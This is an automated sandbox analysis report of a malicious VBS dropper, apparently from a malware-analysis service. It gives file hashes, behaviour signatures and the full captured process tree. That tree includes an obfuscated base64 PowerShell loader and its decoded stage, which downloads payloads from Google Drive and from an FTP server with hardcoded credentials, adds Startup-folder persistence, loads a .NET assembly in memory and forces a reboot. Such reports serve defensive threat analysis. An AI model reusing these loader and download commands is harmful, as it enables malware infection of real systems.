Overview

overview

10

Static

static

1

bd3b1910de...33.vbs

windows7-x64

10

bd3b1910de...33.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    119s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09-11-2024 03:31

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General

  • Target

    bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs

  • Size

    165KB

  • MD5

    34f854905f0f1cfb29f41736b34c84d2

  • SHA1

    777d4629fd82935f3760168cc95cd12a69701425

  • SHA256

    bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933

  • SHA512

    5a671989c7924466b249a5fe0d75667e820bb75d82fcd6e613211cb721b41eb7f2f84c8ffbb5df4fd08277c3e9350714dd9764a7cc5f65286b51807e11cb97dd

  • SSDEEP

    3072:V0Z0Z0Z0Z0Z0Z0Z0Z0Z06K0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0Z0p:q

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Powershell Invoke Web Request.

    execution
  • Drops startup file 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2948
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $fvgwr = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAG0Acw' + [char]66 + '' + [char]66 + 'AGcAZQ' + [char]66 + 'SAEQARA' + [char]66 + 'EACcAIAAsACAATQ' + [char]66 + 'vAHcATg' + [char]66 + 'zACQAIAAsACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AcA' + [char]66 + 'hAHMAdA' + [char]66 + 'lAC4AZQ' + [char]66 + 'lAC8AZAAvADEAMw' + [char]66 + 'QAHYAeQAvADAAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAbQ' + [char]66 + 'HAHEAaQ' + [char]66 + 'uACQAIAAoAGQAbw' + [char]66 + 'oAHQAZQ' + [char]66 + 'NAHQAZQ' + [char]66 + 'HAC4AKQAgAEUAZg' + [char]66 + 'YAHMAZwAkACAAKwAgAEcAaQ' + [char]66 + 'UAHoASgAkACAAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAnAEkAVg' + [char]66 + 'GAHIAcAAnACAAPQAgAG0ARw' + [char]66 + 'xAGkAbgAkADsAJwAxAHMAcw' + [char]66 + 'hAGwAQwAnACAAPQAgAEUAZg' + [char]66 + 'YAHMAZwAkADsAJwAuADMAeQ' + [char]66 + 'yAGEAcg' + [char]66 + 'iAGkATA' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMAJwAgAD0AIA' + [char]66 + 'HAGkAVA' + [char]66 + '6AEoAJAA7ACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkADsAKQAgACkAJw' + [char]66 + '' + [char]66 + 'ACcALAAnAJMhOgCTIScAKA' + [char]66 + 'lAGMAYQ' + [char]66 + 'sAHAAZQ' + [char]66 + 'yAC4AcQ' + [char]66 + '2AHoAZA' + [char]66 + '5ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'zAFsAIAA9ACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAgACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAUQ' + [char]66 + 'HAHAAZQ' + [char]66 + 'JACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAKAAgAD0AIA' + [char]66 + 'xAHYAeg' + [char]66 + 'kAHkAJAA7ACAAIA' + [char]66 + '9ACAAZw' + [char]66 + 'uAGkAcw' + [char]66 + 'yAGEAUA' + [char]66 + 'jAGkAcw' + [char]66 + 'hAEIAZQ' + [char]66 + 'zAFUALQAgAFEARw' + [char]66 + 'wAGUASQAkACAAZQ' + [char]66 + 'sAGkARg' + [char]66 + '0AHUATwAtACAAaw' + [char]66 + 'qAHoAaw' + [char]66 + '6ACQAIA' + [char]66 + 'JAFIAVQAtACAAdA' + [char]66 + 'zAGUAdQ' + [char]66 + 'xAGUAUg' + [char]66 + 'iAGUAVwAtAGUAaw' + [char]66 + 'vAHYAbg' + [char]66 + 'JADsAIAApACAAUQ' + [char]66 + 'HAHAAZQ' + [char]66 + 'JACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgAGsAag' + [char]66 + '6AGsAegAkADsAIAApACcAdA' + [char]66 + '4AHQALgAxADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACgAIAA9ACAAUQ' + [char]66 + 'HAHAAZQ' + [char]66 + 'JACQAewAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAMQAuADAALgAwAC4ANwAyADEAIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'wADsAIA' + [char]66 + 'jAC8AIA' + [char]66 + 'lAHgAZQAuAGQAbQ' + [char]66 + 'jADsAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAYwAkACAAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAQwAtACAAZw' + [char]66 + 'uAGkAcw' + [char]66 + 'yAGEAUA' + [char]66 + 'jAGkAcw' + [char]66 + 'hAEIAZQ' + [char]66 + 'zAFUALQAgAFEARw' + [char]66 + 'wAGUASQAkACAAZQ' + [char]66 + 'sAGkARg' + [char]66 + '0AHUATwAtACAAcg' + [char]66 + '2AHMAYg' + [char]66 + 'mACQAIA' + [char]66 + 'JAFIAVQAtACAAdA' + [char]66 + 'zAGUAdQ' + [char]66 + 'xAGUAUg' + [char]66 + 'iAGUAVwAtAGUAaw' + [char]66 + 'vAHYAbg' + [char]66 + 'JADsAKQApACkAKQApACAANAA2ACwANAA2ACwANgA1ACwANQA1ACwAMwA1ACwAOQA0ACwAOQA4ACwANwA3ACwANgA2ACwANQA4ACwAIAA3ADkALAAgADEAMgAxACwAIAAxADcAIAAsADkAMQAxACAALAAwADcAIAAsADYANgAoAF0AXQ' + [char]66 + 'bAHIAYQ' + [char]66 + 'oAGMAWwAgAG4AaQ' + [char]66 + 'vAGoALQAoACAAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMALQAgAGUAYw' + [char]66 + 'yAG8ARgAtACAAdA' + [char]66 + '4AGUAVA' + [char]66 + 'uAGkAYQ' + [char]66 + 'sAFAAcw' + [char]66 + '' + [char]66 + 'AC0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'lAHIAdQ' + [char]66 + 'jAGUAUwAtAG8AVA' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DACgAIAAsACkAKQA5ADQALAA2ADEAMQAsADcAOQAsADQAMQAxACwAOAA5ACwAOAAxADEALAA3ADAAMQAsADkAOQAsADUAMQAxACwAMQAwADEALAAwADAAMQAoAF0AXQ' + [char]66 + 'bAHIAYQ' + [char]66 + 'oAGMAWwAgAG4AaQ' + [char]66 + 'vAGoALQAoACgAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAQw' + [char]66 + 'TAFAAIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAYwAkADsAKQAnAHQAeA' + [char]66 + '0AC4AMQAwAGwAbA' + [char]66 + 'kACcAIAArACAAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgACgAIAA9ACAAUQ' + [char]66 + 'HAHAAZQ' + [char]66 + 'JACQAOwApACAAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'MAEwARAAvADEAMAAvACcAIAArACAAJw' + [char]66 + 'yAGUAdA' + [char]66 + 'wAHkAcg' + [char]66 + 'jAHAAVQAvAHIAYgAuAG0Abw' + [char]66 + 'jAC4AdA' + [char]66 + 'hAHIAYg' + [char]66 + '2AGsAYw' + [char]66 + 'zAGUAZAAuAHAAdA' + [char]66 + 'mAEAAMQ' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC8ALwA6AHAAdA' + [char]66 + 'mACcAKAAgAD0AIA' + [char]66 + 'yAHYAcw' + [char]66 + 'iAGYAJAA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAGYARA' + [char]66 + 'ZAGMAbQAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'CAGwAcA' + [char]66 + 'rAHQAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAcg' + [char]66 + '2AG4ARw' + [char]66 + 'vACQAKAAgAD0AIA' + [char]66 + 'CAGwAcA' + [char]66 + 'rAHQAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAGYARA' + [char]66 + 'ZAGMAbQAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAcg' + [char]66 + '2AG4ARw' + [char]66 + 'vACQAKAAgACwAaA' + [char]66 + 'zAHcAdA' + [char]66 + 'tACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAG4AbQ' + [char]66 + 'nAHYAcAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'uAG0AZw' + [char]66 + '2AHAAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'uAG0AZw' + [char]66 + '2AHAAJAA7AH0AOwAgACkAJw' + [char]66 + '0AE8ATA' + [char]66 + 'jAF8ASw' + [char]66 + 'hADMAWg' + [char]66 + 'mAG8AWAAyAEoASg' + [char]66 + 'yAFYAaA' + [char]66 + 'tAFYAOQ' + [char]66 + 'jAG0AOQ' + [char]66 + 'YAHMAdQ' + [char]66 + 'YAG0AagAxAGcAMQAnACAAKwAgAGgAcw' + [char]66 + '3AHQAbQAkACgAIAA9ACAAaA' + [char]66 + 'zAHcAdA' + [char]66 + 'tACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnADIANA' + [char]66 + '1AFgASg' + [char]66 + 'UAHEAYQ' + [char]66 + 'tAGcAeQ' + [char]66 + 'NAHQARg' + [char]66 + '6AGEAaw' + [char]66 + 'QAFIAMQ' + [char]66 + 'xAF8ASQ' + [char]66 + '2AEcAaQ' + [char]66 + 'YAE4AZA' + [char]66 + 'xAGEATgAxACcAIAArACAAaA' + [char]66 + 'zAHcAdA' + [char]66 + 'tACQAKAAgAD0AIA' + [char]66 + 'oAHMAdw' + [char]66 + '0AG0AJA' + [char]66 + '7ACAAKQAgAGwAZQ' + [char]66 + '6AGYARgAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAbA' + [char]66 + 'lAHoAZg' + [char]66 + 'GACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGgAcw' + [char]66 + '3AHQAbQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAHIAdg' + [char]66 + 'uAEcAbwAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'yAHYAbg' + [char]66 + 'HAG8AJA' + [char]66 + '7ACAAKQAgAEcAdQ' + [char]66 + 'PAEYAUgAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEcAdQ' + [char]66 + 'PAEYAUgAkACAAOwA=';$fvgwr = $fvgwr.replace('уЦϚ' , 'B') ;;$ykcxg = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $fvgwr ) ); $ykcxg = $ykcxg[-1..-$ykcxg.Length] -join '';$ykcxg = $ykcxg.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs');powershell $ykcxg
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $RFOuG = $host.Version.Major.Equals(2) ;if ( $RFOuG ) {$oGnvr = [System.IO.Path]::GetTempPath();del ( $oGnvr + '\Upwin.msu' );$mtwsh = 'https://drive.google.com/uc?export=download&id=';$Ffzel = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $Ffzel ) {$mtwsh = ($mtwsh + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$mtwsh = ($mtwsh + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$pvgmn = (New-Object Net.WebClient);$pvgmn.Encoding = [System.Text.Encoding]::UTF8;$pvgmn.DownloadFile($mtwsh, ($oGnvr + '\Upwin.msu') );$mcYDf = ('C:\Users\' + [Environment]::UserName );tkplB = ($oGnvr + '\Upwin.msu'); powershell.exe wusa.exe tkplB /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs' -Destination ( $mcYDf + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;$fbsvr = ('ftp://[email protected]/Upcrypter' + '/01/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$credential = (New-Object PSCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)), (ConvertTo-SecureString -AsPlainText -Force -String (-join [char[]](66, 70, 119, 71 ,121 ,97 ,85,66,77,89,49,53,55,56,64,64 )))));Invoke-WebRequest -URI $fbsvr -OutFile $IepGQ -UseBasicParsing -Credential $credential;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$IepGQ = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$zkzjk = ( Get-Content -Path $IepGQ ) ;Invoke-WebRequest -URI $zkzjk -OutFile $IepGQ -UseBasicParsing } ;$ydzvq = (Get-Content -Path $IepGQ -Encoding UTF8) ;[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ydzvq.replace('↓:↓','A') );$sNwoM = 'C:\Users\Admin\AppData\Local\Temp\bd3b1910de0908ebf93905730c594ab28058103110ab459ce3e4920b4d193933.vbs';$JzTiG = 'ClassLibrary3.';$gsXfE = 'Class1';$niqGm = 'prFVI';[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).GetType( $JzTiG + $gsXfE ).GetMethod( $niqGm ).Invoke( $null , [object[]] ( '0/yvP31/d/ee.etsap//:sptth' , $sNwoM , 'DDDRegAsm' ) );};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2800
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe tkplB /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2536
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" tkplB /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:3024
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2192

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    70f8cdb19d49f253687e4386d1c9c565

    SHA1

    8755635e5e79bed107a234900caf342019a63bee

    SHA256

    d50408d77628cd88bc512ff2f31aec895a45f41f7d5af534238049fe82f7bbdc

    SHA512

    f32b8cafcad1b15eeca2569e14e089e8d83755d7d1a84670228e1b0e871e5869f1591542bcb93ed3ad58673828531a0abc99452d9c5dabd9af6b40c33eb1c036

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  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    aa4ebbea6f96327bc514c5323a5713ec

    SHA1

    abc84b33ea976443704c7434f253e4a848ba0951

    SHA256

    83ac32ca8bcb4e08d881cefdfaf3b7df28245f17af3f71b2811b642bbd6e544d

    SHA512

    59ac5164b627ee23cd988f4f023699ed3f5dda2e14ff0ff50912fc3838a33dc54e89089938e9a9c8a74d0c5eda885404d5e39e2e82541a55b6c96f4bffd4b42c

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  • memory/2344-4-0x000007FEF681E000-0x000007FEF681F000-memory.dmp

    Filesize

    4KB

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  • memory/2344-5-0x000000001B730000-0x000000001BA12000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2344-6-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2344-12-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2344-13-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2344-14-0x000007FEF6560000-0x000007FEF6EFD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2344-15-0x000007FEF681E000-0x000007FEF681F000-memory.dmp

    Filesize

    4KB

    Download